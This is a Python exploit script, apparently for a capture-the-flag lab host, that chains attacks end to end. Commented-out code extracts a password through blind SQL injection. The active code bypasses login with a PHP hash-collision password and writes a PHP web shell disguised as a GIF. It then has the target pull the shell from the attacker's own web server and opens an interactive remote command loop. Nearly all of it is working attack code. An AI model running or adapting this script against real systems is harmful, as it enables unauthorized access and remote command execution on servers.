import requests
from http.server import HTTPServer, CGIHTTPRequestHandler
import threading
import os
import time
from urllib.parse import urlencode,quote_plus

#chars = [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f']

#def get_sql(i,c):
#    return f"chris' and substr(password,{i},1) = '{c}' -- -" 

#for i in range(1,33):
#    for c in chars:
#        injection = get_sql(i,c)
#        payload = {"username":injection,"password":"password"}
#        r = requests.post("http://10.10.10.73/login.php",data=payload)
#        if "Wrong identification" in r.text:
#            print(c,end="",flush=True)
#            break
#print("########")
#print("chris:juggler")
### php hash collision
## admin:240610708
def banner():
    banner = """ 
                           .',,,'.                          
                          ;ONWWWNO;                         
                         :O0KXXXXX0;                        
                        .ONkdxdddONO.                       
                .:c'..;cOWM0l;;:lOWWOl;..,lc.               
                .OOloolkNMNX0dcxXKXW0kdoooko.               
                .Oo .;oxkxk0xoodk0kolxd,  c:                
                .Oo   .lOOkOkl;;lOO00c.  .dd.               
                 lk;.ckKNWWWkllkNMWWN0o,.:0:                
                 ;KXXWMMMW0oxXMMMMMMMWMN0KO'                
                 ;KMXd:;;;..dWMMMMWNNWMMMMK,                
                 ;KMx.      lWMMMMKc:0MMMMK;                
                 ;XM0;    .,OWWMMMW0ONMMMMK,                
                 .xWWO;:dx0NNXXXWWMMMMMMMNd.                
                  'xxcxNMMMWKkkkXMMMMMMMNd.                 
              . .. .'xNWWMMWK0XKXWMMMMWKl. .  .             
                ... ..;lkKWWNWMNNWWKkl;.   ..               
                .:c:,..  .lO0K000x:. ...,c:.                
                .o0XK0d,.. ..........oK0XNk'                
                  .;oc,odoc'''...':ldcoko;.                 
                       ..;cl;;dc,,'...                      
                      ..;c,.,;';llo:..                      
                 'cll:::,,. .   ..,,;c:,.                   
                 .xKd'                .,lxxl,.              
                  ..                     ,dc.               
                                           .   
"""
    print(banner) 


def create_payload():
    filename = "A" * 232 + ".php.gif"
    with open(filename,"w+") as f:
        f.write("GIF8;<?php system($_REQUEST['cmd']); ?>")
    f.close()
    return filename


def login(url):
    username = "admin"
    password = "240610708"
    data={"username":f"{username}","password":f"{password}"}
    sess = requests.Session()
    result = sess.post(url,data=data)
    if result.status_code == 200 and "Login Successful!" in result.text:
        print("[+] Bypassed Login...")
    else:
        print("[!] Something went wrong it didnt work!")
        print("Exiting!!!")
        quit()
    return sess

def upload_payload(url,filename, s):
    data = {"url":f"http://10.10.14.51:8000/{filename}"}
    resp = s.post(url,data=data)
    if resp.status_code == 200 and "Upload Succsesful!" in resp.text:
        print("[+] Payload Successfully Dropped!")
    else:
        print(resp)
        print(resp.text)
        print("[!] Payload didnt get uploaded Exiting!")
        quit()
    resp_string = resp.text.split("<pre>CMD: ")[1].split(";")[0].split("/")
    payload_path = url[:-10] + resp_string[4] + "/" + resp_string[5] + "/" + filename.split(".gif")[0]
    print(f"[+] Payload Located at {payload_path}")
    return payload_path

def start_webserver(path,port):
	os.chdir(path)
	httpd = HTTPServer(('',port),CGIHTTPRequestHandler)
	httpd.serve_forever()

def shell(admin_session,payload_path):
    print("$TurtleShell> ",end="")
    cmd = input("")
    url = payload_path + "?" + "cmd=" + cmd
    resp = admin_session.get(url)
    text = resp.text.split("GIF8;")[1::]
    print(" ".join(text))

def main():
    port = 8000
    print(f"[+] Starting WebServer on {port}...")
    daemon = threading.Thread(name='daemon_server',target=start_webserver,args=('.', port))
    daemon.setDaemon(True) # Set as a daemon so it will be killed once the main thread is dead.
    daemon.start()
    print("[+] Attempting to bypass login...")
    admin_session = login("http://10.10.10.73/login.php")
    if admin_session:
        print("[+] Successfully logged in as admin")
    else:
        print("[!] failed to login as admin")
        print("Exiting!!!")
        quit()
    print("[+] Creating Payload")
    file_name = create_payload()
    #### Attempt Upload ####
    print("[+] Sending Payload")
    payload_path = upload_payload("http://10.10.10.73/upload.php",file_name,admin_session)
    print("[+] Cleaning up file from local machine")
    os.remove(file_name)
    print("[+] Starting Bad Shell")
    banner()
    while True:
        shell(admin_session,payload_path)

main()
